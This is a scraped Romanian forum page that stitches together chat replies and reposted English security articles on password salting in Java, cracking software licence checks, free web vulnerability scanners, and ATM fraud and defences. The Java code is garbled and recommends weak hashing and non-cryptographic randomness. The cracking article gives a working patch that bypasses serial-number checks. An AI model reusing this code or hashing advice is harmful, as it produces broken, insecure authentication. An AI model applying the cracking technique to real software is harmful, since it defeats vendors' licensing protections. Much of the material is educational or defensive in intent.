DarkyAngel

da! o po?i decripta cu : ?i î?i d? :

din posturile tale de pân? acum , ?i dac? tu e?ti tot cel de AICI dai dovad? de prostie cronic?..

în mailul primit de la class.modnet.org, a ap?rut o eroare, ?i anume: data nu este September 5, 2012; ci Octomber 5, 2012

trebuia s? faci topic pentru asta? puteai s?-i urezi de bine AICI , în topicul f?cut care necesita 10 posturi

sunt înc? activ !

Document.GetElementById("id-formului").submit; sau ( parc? ) , document.id-formului.submit(); // nu am în?eles prea bine ce vrei s? faci

p?i pentru ce ai nevoie de click? vrei s?-l faci înapoi vizibil? vrei s? dai submit la form?

In this article you can familiarize yourself with creating good passwords in your applications. It is an article which was completely by accident. Recently they asked me what I thought about coding data in databases, so I had to think carefully about this problem. In total, I have created an algorithm that allows us to perform some operations in high security, and I wrote an article about hashing and salting passwords. Many people think that simply hashing passwords provides a sufficient level of safety – for example, abandoning the MD5 to SHA-1 / SHA-2. Such reasoning has one small drawback, namely, there is no need to “break” the hash to get the user password. Sounds ridiculous? Having shot a table with users is sufficient to perform a simple query, so that everything becomes clear: SELECT * FROM users WHERE password = SHA1 (login); From the execution of this question we will receive a list of users whose password is the same as login. The method seems to be of little sense, because who registers for the same password as the login name? On the other hand, how many sites do you find that allow this? Theory The problem of identity theft with login and password is so serious that to gain access to someone’s account it is not needed to access the database. Just create a simple crawler, which retrieves a list of users available on the site, and then try to login stating found logins, as data logging.Generating user passwords should always be approached with great responsibility. Builders of applications are generally pleased if a user enters a password and gets access privileges only to certain parts of the application. After the user enters the password, they are not interested in what he does next, and applications assume that if the user entered a password, then it is credible. It is our duty as developers is to protect the end users of our application before the attack, by providing mechanisms for passwords, which should not fall into the wrong hands. This is a more important thing than protecting web applications from attack. Today we learn to generate passwords by mixing different values. When users provide passwords, the application only needs to know that what the user provides is correct. This can be done with a simple string comparison. Assuming we keep the user’s application data in the database, look at where there is a corresponding match of a username and password. If they match, it allows the user access to top secret stuff, and we go about our day. The content of the password string is optional, so … Salinity is Very Easy There are several methods for mixing sequences, such as those md5 () or sha1 (). They have their pluses and minuses, but this is not covered here. The important thing is that we choose the method that works only in one direction, so that mcrypt and base64_encode rather fall off. As a dev from Java, for the purpose of our article, I chose the algorithm of md5 () and write each implementation, which is a great example of using md5 () and the function of salt: java.security.GeneralSecurityException import; java.security.MessageDigest import; public class Hashing { public static StringBuffer hexOne (String password) throws GeneralSecurityException { MessageDigest md = MessageDigest.getInstance ("MD5"); md.update (password.getBytes ()); byteData byte [] = md.digest (); / / Convert the byte to hex format for method 1 StringBuffer sb = new StringBuffer (); for (int i = 0; i <byteData.length; i + +) { sb.append (Integer.toString ((byteData [i] & 0xff) + 0x100, 16). substring (1)); } return sb; } public static StringBuffer hexTwo (String password) throws GeneralSecurityException { MessageDigest md = MessageDigest.getInstance ("MD5"); md.update (password.getBytes ()); byteData byte [] = md.digest (); / / Convert the byte to hex format for method 2 HexString StringBuffer = new StringBuffer (); for (int i = 0; i <byteData.length; i + +) { Integer.toHexString String hex = (0xff & byteData [i]); if (hex.length () == 1) hexString.append ('0 '); hexString.append (hex); } hexString return; } public static void main (String [] args) throws Exception { String password = "123456"; System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString ()); / / Convert the byte to hex format for method 2 System.out.println ("Digest (in hex format) ::" + hexTwo (password). ToString ()); } } Well, we have a pretty good code, but still it does not have a decent degree of entropy. This code is not yet ready for any serious applications. The problem we meet is that people very often use passwords that are similar to each other, or passwords based on the dictionary. Every attacker knows that very well, so the first thing you will use, will attempt to attack either by force or without input. But we must still be one step ahead of evil hackers, so we have to raise the bar and use the salt to protect the password. Salt is useful to everything that is encrypted, to make it more difficult to break. In fact, there are countless ways to salt the passwords, but to choose the appropriate method, we must remember one thing: we need a well-secured salt storage location for our passwords. It is very important because if a hacker manages to steal the salt to the password then both password and salt are useless. Basically, in this article we will be using two methods. In the first one we will create a salt for all passwords, and in the second, we will generate the salt for each password separately. Remember that even using one salt for each password is acceptable when creating the application, although it can occur after minor problems, such as two or more identical terms. We will not change all the code in our class, and only the main method: public static void main (String [] args) throws Exception { / / Orginal password String password = "123456"; / / Add salt String salt = "mysecretpassword"; / / Convert the byte to hex format for method 1 System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString ()); / / Convert the byte to hex format for method 2 System.out.println ("Digest (in hex format) ::" + hexTwo (password). ToString ()); / / Convert the byte to hex format method 1 + salted System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString () + "." + HexOne (salt). ToString ()); / / Convert the byte to hex format for method 2 + salted System.out.println ("Digest (in hex format) ::" + hexTwo (password). ToString () + "." + HexTwo (salt). ToString ()); } Now we fix up our base algorithm. We must remember that there is nothing to prevent our use of hash algorithms up to two or three, so let’s add a method of treating any string of characters to encoded characters. For our base class, add the two methods: private static String convertToHex (byte [] data) { StringBuffer buf = new StringBuffer (); for (int i = 0; i <data.length; i + +) { halfbyte int = (data [i] >>> 4) & 0x0F; two_halfs int = 0; do { if ((0 <= halfbyte) && (halfbyte <= 9)) buf.append ((char) ('0 '+ halfbyte)); else buf.append ((char) ('a' + (halfbyte - 10))); halfbyte = data [i] & 0x0F; } While (two_halfs + + <1); } buf.toString return (); } public static String SHA1 (String text) throws NoSuchAlgorithmException, UnsupportedEncodingException { MessageDigest md; md = MessageDigest.getInstance ("SHA-1"); byte [] sha1hash = new byte [40]; md.update (text.getBytes ("iso-8859-1"), 0, text.length ()); md.digest sha1hash = (); return convertToHex (sha1hash); } Well done. Now we can use a single algorithm to encode the password, and the second to the encoding of salt. But we have a little difficulty. Add the two salts. One is first encoded text, and the other at the end. See the revised code of main methods: public static void main (String [] args) throws Exception { / / Orginal password String password = "123456"; / / Add salt String salt = "mysecretpassword"; Salt_two String = "xcvg # $% ^% WEEW # $ $% ^% $ ^% ^ HFGH"; / / Convert the byte to hex format for method 1 System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString ()); / / Convert the byte to hex format for method 2 System.out.println ("Digest (in hex format) ::" + hexTwo (password). ToString ()); / / Convert the byte to hex format method 1 + salted System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString () + "." + HexOne (salt). ToString ()); / / Convert the byte to hex format for method 2 + salted System.out.println ("Digest (in hex format) ::" + hexTwo (password). ToString () + "." + HexTwo (salt). ToString ()); / / Convert the byte to hex format method 1 + two salted System.out.println ("Digest (in hex format) ::" + hexOne (password). ToString () + sha1 (salt_two). ToString () + "." + "." + HexOne (salt). ToString ( )); / / Convert the byte to hex format for method 2 + two salted System.out.println ("Digest (in hex format) ::" + sha1 (salt_two). ToString () + "." + HexTwo (password). ToString () + "." + HexTwo (salt). ToString ( )); } While we're at the stage of fairly serious coding, we can create a beautiful way to encode passwords, you will use not only for hashing passwords, but then to later write them into the database, or to verify the password entered by the user. Here is the code of our new features: public static String unification_one (String password, String salt, String salt_two) throws GeneralSecurityException, UnsupportedEncodingException, GeneralSecurityException { Hashed_one String = hexOne (password). ToString () + sha1 (salt_two). ToString () + hexOne (salt). ToString (); hashed_one return; } public static String unification_two (String password, String salt, String salt_two) throws GeneralSecurityException, UnsupportedEncodingException, GeneralSecurityException { Hashed_two String = sha1 (salt_two). ToString () + hexTwo (password). ToString () + hexTwo (salt). ToString (); hashed_two return; } Now to add the main method at the end of two lines: / / Convert the byte to hex format method 1 + two salted second method System.out.println ("Digest (in hex format) ::" + unification_one (password, salt, salt_two). ToString ()); / / Convert the byte to hex format for method 2 + two salted second method System.out.println ("Digest (in hex format) ::" + unification_two (password, salt, salt_two). ToString ()); The Birthday Issue This topic is perfectly described in the link The Birthday Problem. First, let’s look at the problem in terms of mathematics. This issue is part of mathematical statistics and probability. But we are interested in one thing: If it is likely that despite the use of salt, there will be two of the same password. The likelihood is there and it is really big. Now the question arises, how to avoid it? Just have any of our users generate a separate password. This prevents the so-called birthday issue in which the commonly used passwords and single salts make duplicates of the password in our database. But remember that the use of unique passwords compels us to complete user control. How then do we generate a random string? It allowed me to prepare a feature that will do it for us. The parameter will take the string length and type, how it will generate the sample strings. See, that is an ideal feature for generating passwords. Here’s the code: salted public String (int length, int choice) { @ SuppressWarnings ("resource") Scanner in = new Scanner (System.in); String password = null; length = in.nextInt (); choice = in.nextInt (); Random rand = new Random (); randNum int = 0; for (int passLength = 1; passLength <= length; passLength + +) { if (choice == 1) { randNum = rand.nextInt (26) + 97; } else if (choice == 2) { randNum = rand.nextInt (123); while (randNum <65 | | randNum> 90 && randNum <97) randNum = rand.nextInt (123); } else if (choice == 3) { randNum = rand.nextInt (123); while (randNum <65 | | randNum> 90 && randNum <97 && randNum <48 | | randNum> 57) randNum = rand.nextInt (123); } else { randNum = rand.nextInt (123); while (randNum> 65 && randNum <90 | | randNum> 97 | | randNum> 48 && randNum <57 | | randNum> 33 && randNum <47) randNum = rand.nextInt (123); } password + = (char) randNum; } password.toString return (); } Now let’s see how we developed the algorithm. I promise you that we will use everything we did before. Our algorithm will work like this: Download password Payment of the first salt Cash on the other salt Generate three random strings Coding of both salt and password by sha1, md5, sha1 Joining three random strings Coded entirely by md5 Joining two strings of random characters at the beginning and end of the chain created Coded entirely by sha1 It seems complicated right? But it is really very simple. And if you have all the features and they work, it will be your homework. The use of this class is great, as you can see. Summary We have another layer of security, but there is also a way to overcome it. The need for only “some” time and computing power. You have the opportunity to remember that hash functions are designed so that they are fast at work in favor of the attacker. An attacker can not act even more effectively. Since the hash function is deterministic, an attacker can perform the calculation again, and get results on a number of occasions. Add to that a little salt. Its purpose is to force the attacker to have to repeat the calculation for each user individually. If there is no salt, the attacker has the word password hash, and then checks to see if any of the hashes in the database password is set e10adc3949ba59abbe56e057f20f883e. If the salt is used, each record must be tested to calculate the hash for the password and the correct value of salt. He can not use the tables, because he would have to prepare a separate version of the tables for each possible value of salt, which would take both the “little” time and space. We still have a unique salt for each user, but to get it, you need to access or to guess the value of the secret. Salt does not defend us against the user who chooses simple dictionary passwords. If a database password leaks, there is a chance that the password will be broken. The attacker may have enough time and desire to see the typical value of passwords for each user individually. To make life even more difficult for an attacker, we can choose a way of hashing passwords which is computationally heavy. Is it possible to somehow deal with users who use simple passwords? In this context, in case of leakage their passwords remain secure, even though they are weak. A design by adding to the system one more secret comes to mind. Before hashing passwords based on this additional secret and overt, and unique user-salt, generated a new salt, which is only used when hashing the password. An attacker would have to correctly guess two secrets, the user’s password and mastersalt, and one secret it is easier to protect. Original Article

How to Break Simple Software Protections Some software developers are really lazy when it comes to protecting their products, and in some cases, the protection they implement (just like most “infamous” softwares) is really easy and simple to break. In this article I’ll explain to you how easy it is to break these kinds of protections. Generally, when a program starts, it tests if it’s registered (purchased) or not, and depending on the result (0 or 1) it shows you a navigation screen or activates limitations … or not! What really happens is that our software makes a CALL to the routine which makes this test (TEST, CMP…) then after this CALL it puts a static value in a register that is usually EAX, then the software checks the result of the concerned register (in this case AL). NOTE 1: EAX (32bits) = AX (16bits) = AL (8bits) + AH (8bits) After putting 1 or 0 in this register, either a JE or a JNE determines if the software is registered or not. These Jumps (like others except JMP) are directly influenced by the Zero Flag which is modified according to the value of EAX. Well, now we know how this works, so even a newbie cracker will not find difficulties to break this kind of protection, and he even has several ways to do it, the simplest one is to find the CALL, then force the register EAX or AL into getting the right value (0 or 1). NOTE 2: You have to know that a “Call” is ALWAYS ended by a RET. Pattern of a disassembled protection:</pre> <em></em> :00408740 E87B5B0000 Call 0040E2C0 ; calls serial check routine.. :00408748 85C0 test eax, eax ; checks if sn is good :0040874B 7527 Jne 00408774 ; jump if ZF = 1 :0040874C ---><span style="color: red;">"Invalid Registration code." </span>*********More Instructions********** :00408774 ---> <span style="color: #00b050;">"Thank you for Support!!" Assuming that our software asked us for a serial key, if we input an invalid one, the CALL begins the check routine from the address 40E2C0, till a RET then it sends a result to EAX. If EAX contains the correct value, JNE shows us that our software is correctly registered. Some may think to change the conditional jump JNE at 40874B to an unconditional one, so this way we can force the software to say that we are registered, except that we have to input a serial number each time we close and start the software. But at this stage we know that everything is around EAX’s value, and by forcing its value to have either 1 or 0 in the beginning of the routine started by the CALL (in our case at address 40E2C0), we will force our software to be registered or not. In Assembly language, MOV is the instruction that tells an x86/IA-32 processor to move an immediate value into a register. So to force EAX to have 0, we can put mov eax, 0 Or mov al, 0. Which means, all that the routine under the CALL must do is to move/put 0 into EAX; in other words, it tells the software that the serial number given is correct without filling it, and then sends the correct value to EAX. In our example, the CALL at address 408740 calls this serial check routine: :0040E2C0 81EC340400 sub esp, 434 :0040E2xx 8B0D605F4500 Mov ecx, dword ptr ds:[455F60] ... ******** Cutting more instructions *********** ... :0040Exxx C3 RET ' Note that every routine called by a CALL is ended by a RET (C3 hex) By changing sub esp, 434 and mov ecx, dword ptr ds:[455F60] to mov eax, 1 and RET 0040E2C0 B801000000 mov, eax,1 :0040E2xx C3 RET :0040E2xx 0D ? :0040E2xx 60 ? :0040E2xx 5F ? :0040E2xx 45 ? :0040E2xx 00 ? We get fully registered software without knowing how a correct serial number is calculated and without even having a correct one. NOTE 3: We can fill instructions after RET with NOPs (90 hex), but it’s not necessary since they will not be executed. More details about Mov picked from Wikipedia: The binary code for this instruction is 10110 followed by a 3-bit identifier for which register to use. The identifier for the AL register is 000, so the following machine code loads the AL register with the data 01100001 what gives : 10110000 01100001 This binary computer code can be made more human-readable by expressing it in hexadecimal as follows: B0 61 Here, B0 means ‘Move a copy of the following value into AL‘, and 61 is a hexadecimal representation of the value 01100001, which is 97 in decimal. Intel assembly language provides the mnemonic MOV (an abbreviation of move) for instructions such as this, so the machine code above can be written as follows in assembly language, complete with an explanatory comment if required, after the semicolon. This is much easier to read and to remember: MOV AL, 61h ; Load AL with 97 decimal (61 hex) References: Assembly language - Wikipedia, the free encyclopedia InfoSec Resources – How to Break Simple Software Protections

adev?r gr?ie?ti.. ( a month ago ) - 8,152 viewsVS. ( 3 weeks ago ) - 561,608 viewsyeah.. a înnebunit lupul !

With the rapid increase in technology usage, every company is desperate to provide their services over the Internet. They believe that by offering their services online they come closer to the people, which in turn increases their revenue. For instance people no longer have to step out of their room to book a movie ticket or to transfer money to another account. In this race to provide online services, companies have blindly moved to the Internet to increase their power. But with great power comes great responsibility. With the rapid increase in cyber-attacks the industry has realized the importance of securing their content on the web. With a simple well-crafted payload a hacker might steal the passwords of all the users of a social networking site or millions of bucks from a commercial bank. So securing the web applications would mean assuring the continuity of business. What is a Web Application Scanner? A web application scanner or web application vulnerability scanner is a tool which aids security analysts and professionals in identifying the vulnerabilities present in a web application. It is a black box testing tool which means the vulnerabilities are detected by actually performing the attack. They scan the application to identify a variety of vulnerabilities which may range from critical issues like SQL injection to low severity issues like server platform information leakage. Why Use a Scanner? A tool can never be a replacement for the human mind. Given that let me explain how a web application scanner can help you process your job. A tool may not identify all the vulnerabilities present in an application, but it certainly identifies those issues which are easy to find and it identifies them in no time. Thus if you have 100 applications and you want to make sure that you at least fix those issues which are out there inviting unwanted attention, you can use a scanner to scan all of them in a single day and go ahead and fix them. So in short a vulnerability scanner offers 2 things – basic scan coverage and quick scan time. Free Web Application Scanner There are free web application scanners available each with its own advantages and limitations. However one thing has to be noted here. Free web application scanners take a back step when compared with the available commercial tools in terms of in-depth scan coverage and options available. However not every developer can afford to go for a commercial tool as it involves the cost factor. Hence a free scanner helps many developers and security researchers to at least discover the basic vulnerabilities present in their web applications. But these scanners lack the complete features which are included in the licensed versions. This article identifies the tools available, lists the features and provides steps to scan a web application using the tools. Let’s have a look at the tools and how to use them to scan the applications. Free Web Application Scanners Available Scanning of web applications these days is a hot skill and there is no surprise why you wouldn’t find free web application scanners that can compete with the commercial ones. But still there are a few tools which can serve your purpose depending on your requirements. However they may not contain all the features. But I felt listing the free tools under a single article would definitely help many people who would like to have a hands-on experience and also the web developers who would like to scan their web applications. Netsparker Community Edition, OWASP ZAP, N-Stalker free edition, Skipfish, wapiti, webscarab, scrawl, watcher, Accunetix free version, XSS Me, SQL inject Me, etc. are some of the best free or open source tools available for web application scanning. This article aims to cover each tool with its basic introduction followed by available features, steps to scan and conclusion. All the tools covered in this article are either free or open source tools. Note that it’s not legal to perform unauthorized scans on external websites using any of these tools. Netsparker Community Edition Netsparker Community Edition helps not only Penetration testers but also web developers who can scan their web application instantly and find the vulnerabilities for free. But this edition scans only for XSS, SQL injection, Boolean SQL injection, backup files and static tests. So you can mainly consider this as an XSS and SQLi scanner. The user interface will definitely impress you. Netsparker scans all kinds of web applications without limiting itself to any platforms or technologies. It is from Mavitunasecurity and can be downloaded from the below link. Netsparker Community Edition,Free SQL Injection Scanner & XSS Scanner For those people who are interested to know more about the full edition of Netsparker, here is the list of vulnerabilities that Netsparker licensed edition scans for. Vulnerabilities : E-mail Address Disclosure, Internal IP Disclosure, Cookies are not marked as Secure, Cookies are not marked as HTTPOnly, Directory Listing, Stack Trace Disclosure, Version Disclosure, Access Denied Resources, Internal Path Disclosure, Programming Error Messages, Database Error Messages, SQL Injection, Local File Inclusions & Arbitrary File Reading, Remote File Inclusions, Remote Code Injection / Evaluation, XSS (Cross-site Scripting), OS Level Command Injection, CRLF / HTTP Header Injection / Response Splitting, Find Backup Files, Crossdomain.xml Analysis, Finds and Analyses Potential Issues in Robots.txt, Finds and Analyses Google Sitemap Files, Detect TRACE / TRACK Method Support, Detect ASP.NET Debugging, Detect ASP.NET Trace, Checks for CVS, GIT and SVN Information and Source Code Disclosure Issues, Finds PHPInfo() pages and PHPInfo() disclosure in other pages, Finds Apache Server-Status and Apache Server-Info pages, Find Hidden Resources, Basic Authentication over HTTP, Password Transmitted over HTTP, Password Form Served over HTTP, Source Code Disclosure, Auto Complete Enabled, ViewState is not Signed, ViewState is not Encrypted, Custom 404 Detection, Heuristic URL Rewrite Detection. Once downloaded, it shouldn’t take any trouble to install it. Before actually going into the scan details let’s have a brief look at the main features of Netsparker community edition. Main Features of Netsparker Community Edition: Netsparker boasts of generating false positive free report which means that Netsparker assures that all the vulnerabilities reported by it are real and existing. Netsparker not only tries to identify but also exploits the issue to make sure that it’s a valid finding. For those issues where the tool is not confident or issues which might require manual investigation, the issue is mentioned as ‘Possible’ or ‘High Possibility’ etc. It supports AJAX and JavaScript. Netsparker supports several authentication methods: Basic, Form, NTLM and Digest Authentication. So depending on your application, you can use any of the mentioned methods. Unfortunately this option is not provided in the community edition. Netsparker identifies the issue, classifies it further and presents the remediation details. For instance if an XSS vulnerability is identified, the summary of the vulnerability and remediation details are provided. Supports error based and Boolean based SQL injection. Time based SQL injection is not supported in the community edition. Community edition provides free automated updates. Steps to scan: Start the Netsparker Community Edition and go to File ? Start New Scan In the window that appeared enter the target URL (say Altoro Mutual ) and select ‘full scan’ in the drop down window adjacent to it. Now click on ‘Start scan’ present at the bottom of the window. The scan will be started and the screen would be populated with the identified vulnerabilities one by one. At the end of the scan you will be presented with the below screen which shows the Site Map, Dashboard, Issues, vulnerabilities identified, etc. As shown in the above figure, it has identified issues related to SQL Injection, Cross site scripting, Cookie not marked HTTPOnly, autocomplete enabled etc. It’s up to the penetration tester or the developer to analyse and confirm whether it’s a false positive or a valid finding. The Site map provides hierarchical structure of the website listing the directories and pages under them. Click on a particular vulnerability and its corresponding details can be viewed under ‘Vulnerability’ tab. The ‘Browser View’ tab shows the same in browser. HTTP Request/Response tab is the one where you can analyse the issue, see the request parameters etc. You can also group the issues by severity, Vulnerability type, Confirmed/Not Confirmed and URL. You can play with the scan configuration by selecting the ‘Settings’ option where you can modify settings related to scanning, crawling, proxy etc. Conclusion: Overall, this tool comes in handy if you want to get a feel of working a with web application scanner. It identifies critical issues like XSS, SQLi and also other low severity issues. N-Stalker Free edition This free edition of N-Stalker provides a restricted vulnerability check to identify the security holes in your web application. It also identifies web server related vulnerabilities apart from the issues like cross site scripting, etc. But one limitation is that it can scan only til 100 pages within target application. The free edition can be downloaded from the below link where the details including email id need to be submitted: N-Stalker - Free Edition 2012 Upon opening the tool, this is how the interface of the tool looks. The top section shows the tools available in N-Stalker. Main Features of N-stalker free edition: It supports OWASP Policy, Full XSS assessment, manual test (spider only) and also webserver infrastructure analysis. Provides set of tools like HTTP Bruteforce, web discovery, encoder tool etc. Free edition provides automatic updates too. Steps to scan: Enter the URL of the target site and select the scan policy from the dropdown box. Note that N-Stalker does not allow scanning of demo sites. Scan policy can be OWASP policy, XSS policy or webserver infrastructure analysis. Click on ‘Start Scan Wizard’ and in the next window click on next unless you have something to edit. You may choose to click on ‘Optimize’ button which gives you a list of recommendations which you may even ignore. If implemented they would help for a better scan analysis. Click on next. Click on ‘Scan Settings’ tab to have a look at various options under it. It contains wide range of options related to spidering, crawl options etc. Press “Next” to continue. Highlights of Scan settings will be presented for your review. You can modify any of these setting by clicking the back button. Click ‘Start Session’ to initiate the scan and the click on ‘Start scan’ in the next window. This is how the scanner dashboard looks like while the scan is in progress. Under the ‘Website Tree’ the hierarchical structure of the site is revealed. All the pages and folder present in the site are listed as per the directory structure. ‘Scanner events’ section contains details about scanner and vulnerabilities. Vulnerabilities are added to this section as they are discovered. The dashboard shows the overall security posture of the application by mentioning the number of low, medium and high severity vulnerabilities present. As you select the options under ‘Scanner events’, the corresponding details appear in the adjacent window. Expand the vulnerabilities tab to see the list of vulnerabilities which were identified by N-stalker. Click on a particular vulnerability to see the corresponding details. For instance upon clicking a cross site scripting vulnerability the below vulnerability information is shown. The HTTP Request and Response is mentioned for a clear understanding. The remediation details are also provided in order to fix the issue. There is also an option called simulation engine which can be used to simulate an attack. The parameters can be modified and the request can be forwarded to observe the response. These vulnerabilities need to be analysed in this manner to eliminate the false positives. Conclusion: N-Stalker free edition is definitely worth trying mainly as it picks up wide range of issues even though there is limit on the total scan coverage. So if you are dealing with a small application and want to find out the basic vulnerabilities present in the application then you can attempt to work with this tool. The remaining tools will be covered in next part of this article. Happy scanning!! Original Article

ATMs Fraud Trends ?sta nu e un thread despre 'cum s? furi' , ci 'cum s? te protejezi'. According to the last 2011 survey in 27 European countries, card skimming is still the most prevalent crime, however 61% of European countries reported a decrease due to use of anti-fraud devices and implentation of Europay, EMV technology embedded in ATMs providing two-factor authentication which drastically lowers the risk of stolen credentials. In the same time we have noted an increase in cash trapping attacks where cash dispensing slot are targeted by fraudsters who replacing these ATM’s components with fake devices. In the US, ATM fraud is expected to increase, this is due to the transition to EMV standards in Europe, Asia, Latin America and Canada where EMV embedded chip cards are much more difficult to counterfeit than magnetic stripe cards available in US, therefore most ]criminal organizations are likely to view the US as an attractive target. ATM fraud has become more sophisticated, and the attacks are highly organized. Investments have been made to develop fraudulent devices that take advantage of trends in terms of components: miniaturization, storage, wifi communication, and battery life; in terms of organization: a business model has been developed where each player skimmers, developers, mules collect data and sale information, and a card fraud duplicator, are a part of the whole chain of this underground industry. Types of ATM Threats Card & Currency fraud which covers attacks conducted to steal cash and /or to steal details of consumers credentials to produce fake cards for fraudulent transactions. Skimming, still the most frequent type of attack reported, uses devices (skimmers) to capture cardholder data from the magnetic stripe IE copying the TRACK2 information on the magnetic stripe of the card. In general a skimming device is installed over the top of the ATM’s card reader, sometimes installed inside the ATM. The skimmer will capture card data prior to the ATM card reader, the data will be stored and transmitted to attackers. The skimming is often combined with other devices, cameras, and a fake keypad to capture the PIN number. Card trapping aims to steal the consumer’s card and use it at a later time by the attacker, this attack is combined with the use of other devices, cameras, and the fake keypad described previously. Currency trapping, fishing used to steal the cash, it can be through a false dispenser (trapping attacks) or using wires, probes to prevent cash being dispensed (fishing), the attacker will retrieve the cash as soon as the consumer leaves the ATM. Transaction reversal, attempt to create an error condition at the ATM resulting in a transaction reversal due to reported inability to dispense cash. Dummy ATMs; ATMs bought and setup by criminals and installed in pedestrian traffic areas for the one purpose of reading consumer card data. Machines are powering by batteries or any nearest power socket. [*]Logical / Data Attacks Targeting the ATM’s software OS, logical attackers include authors of a virus and hackers who install malware. The logical attack is still one of the most difficult to detect, the impact can be very high as it will impact and compromise thousands of consumer’s data. The logical attacks include malware and viruses. Hackers attempt to install malware in order to violate integrity, confidentiality and authenticity of data transactions. The purpose is to gather cardholder data and dispense cash. Attacks can be either locally or remotely executed. Local attacks are performed through downloading malware or sniffing communication between card reader and ATM Central Unit using a USB drive connected to the ATM computer. The system should be locked to prevent any unauthorized program running. Remote attacks target the ATM networks and attempt to compromise the communication with the host, these attacks are more critical because a hacker does not need to open up the ATMs. As ATM technology knowledge becomes widespread, monitoring systems access through web browsers or TELNET enables an easy access to attackers who can hijack ATM management systems and perform management functions. ATM networks are still vulnerable to similar IP based networks attacks. Remote attacks such as Eavesdropping, Spoofing, Denial Of Service, Sniffing, and Virtual Channel Theft are almost always carried out by criminal organizations. [*]Physical attacks Physical attacks are usually perpetrated to gain access to the cash and all valuable ATM components such as the safe, the top hat, presenter and depositor or in some other cases, the entire ATM. Depending on the component targeted, the attacks can be described as below: Because it contains the cash, the safe is still the first common target. The perpetrator;s efforts concentrate on the locks, handles and hinges of the safe. In some cases the top hat is targeted to steal the ATM hard drive or for attaching skimming devices or USB devices to download malware. The presenter and depositor can be subject to attacks where perpetrators attempt to access an ATM’s cash sources (deposits) therefore they will use several methods: cutting, drilling, burning devices (torch), pulling the safe door, using pry bars, bombs and other explosive devices. Other physical attacks will attempt to remove the ATM, and move it to another location, ramming the ATM with a car or truck, pulling it using a chain and a car, or lifting it from its foundation with forklift. How to Secure Your ATM Securing the ATM’s infrastructure becomes one of the most challenging tasks. The process requires business, IT and third party vendors’ involvement. ATM security is a combination of physical security, which is basically how to secure the assets, logical security, or how to protect operating systems from malware, and finally the fraud from skimming attacks. In practice An ATM Security Policy should be in place, or a related section should be added in the current Security Policy. All ATMS should comply with PCI DSS, and all third parties, contractors, and providers involved in ATM processing should comply with PCI DSS standards.A regular internal audit should be conducted to ensure compliance with the security policy. The ATM location should comply with the “Crime Prevention Through Environmental Design” concept which provides guidelines and a set of rules on proper facilities design and environment, which affects human behavior by reducing the occurrence of crimes. It addresses landscaping, entrances, facilities, lighting, road placements, and traffic circulation patterns. The ATM location should be far from any glass walls and close to a solid wall. There should be no direct access to the ATM, and bollards should be added to prevent car jacking. An ATM located in an open area visible with proper lighting in place will help to prevent criminal activities. TheATM should be well fixed to its location An onsite validation process should be put in place to approve the ATM location by key players: Bank or site owner, ATM vendor, ATM supplier, ATM Cash Replenishment companies, and local police intelligence (who can report the crime history of the location). During maintenance, if ATM vault access is needed then we should close the branch, office, withdraw cash and put it in a vault during all maintenance operations. An Intrusion Detection System should be in place in all areas where the ATM is located. The ATM should include its own alarm system, CCTV cameras embedded, the pin keyboard should not be covered by the system, CCTV should be connected to a recorder and centralized screening system. Consumers can increase PIN protection by avoiding any shoulder surfing attacks. Including GPS as an additional component to an ATM can help to localize it in theft cases, as compensating control, an active cash protection by using ink, glue or gas for cash destroying. Include an ATM review in the annual Risk Review A process review should be in place to review lost audit trails and security notifications, according to security policies, standards and best practices. The process review includes changing user profiles, tracking all unsuccessful logins or attempts to access. The process review includes use of privileged user accounts and all major events such as restarting stop change in execution mode. Admin should not interact directly from their personal computers or laptops. The PIN number should never been transmitted or stored in clear text regardless the media or channel used. ATM network communication should be encrypted using a strong encryption protocol, 3DES, AES, the WEP protocol is prohibited. Conduct a regular Ethical Hacking testing and vulnerability scanning on the ATM’s network which include wireless access point presence testing, the exercise covering Black box penetration testing, Malware analysis and source code review of the ATM’s firmware. All passwords should be changed from manufacturer’s defaults. Disposal process in place for the ATM, the HDD has to be cleaned at the end of life. Only administrator’s profiles users can access ATMs through terminal services / server. Patch management should be in place and followed prior to installing any patches, fixes on ATMs, all updates should be tested prior to applying in production. Anti Virus protection should be implemented for all ATMs. Restrict physical access to ATMs, block all unnecessary ports, cables and switches protection particularly in shared occupancy facilities. Patch installation on the ATM required disconnecting the ATM from the network and putting it off line during the installation process. To avoid any disruption in customer services, planning should take place. All data on ATM HDD should be encrypted to prevent any unauthorized access during third party maintenance or in theft cases. Educate people, employees, consumers, third party technicians, through training, awareness, share best practices, random checks should be conducted by employees, inspecting the reader from skimming devices during ATM maintenance and cash replenishment. A detection system that senses and sends an alert — and/or takes the ATM offline — when anything is attached to the card reader, keypad or fascia. Keep records of all security complainsuse sensors and detection systems which can trigger alerts or shutdown an ATM if any external device is attached to the card reader or keypad. Use of jitter technology and other behavioral software can detect and stop all transactions which do not match the cardholder profile. Third parties, contractors and providers responsibilities should be clearly defined and mentioned in SLA in case of fraud conducted through ATM interface software or unapproved software installation. Employees should not have full access to the ATM. Segregation of duties, least privilege and business needs access should be followed to mitigate the risk associated. Implement a password policy according to the best practices and track all sharing password cases through regular control, be sure to change the default password. Access control should be in place with 2 factors of authentication. Harden the ATM Operating System and disable all unnecessary user accounts (guest). User accounts should be locked after 3 unsuccessful attempts. Develop an incident response process, in case of attacks identified, with response plan including tasks and personal assignments. Next Steps… Organizations need to assess and review the risk profile of their ATM, because threats can vary depending on the location, environment, facilities, CCTV, etc . A Risk Analysis will outline all vulnerabilities and related countermeasures or compensating control to reduce and contain the risk which includes prevention and detection controls. The first is prevention through security policies, procedures, baselines, technical by using firewalling; prevent unauthorized equipment from being physically plugged into ATM, deterrent controls through using of CCTV cameras, and educating people through awareness training. The second one is detection by monitoring, alerts notification, regular logs review, and vulnerability assessment. Physical security, logical security and fraud should not be addressed separately, as attacks become more sophisticated, issues need to be addressed from physical perspective, logical perspective and fraud perspective. Multilayered security methods are the most effective. Layered security should be in place, perimeter security through physical access control, firewalls, hardening the ATM’s Operation System to secure and close all unnecessary ports and make them unavailable for hackers and worms, regular pen testing, secure maintenance process, use of centralized monitoring tools. Monitoring is still one of most important steps to secure ATMs. ATM monitoring capabilities provide a set of messages, status, notifications and alarms which can be analyzed and identify problems or security concerns, IE: notification of continual card reader failure might be an indication of tampering attacks. As the human factor is still the weakest link, employees, consumers, and providers should be aware of ATM threats, therefore awareness program should be developed and conducted, the program includes presentations, hands on training using 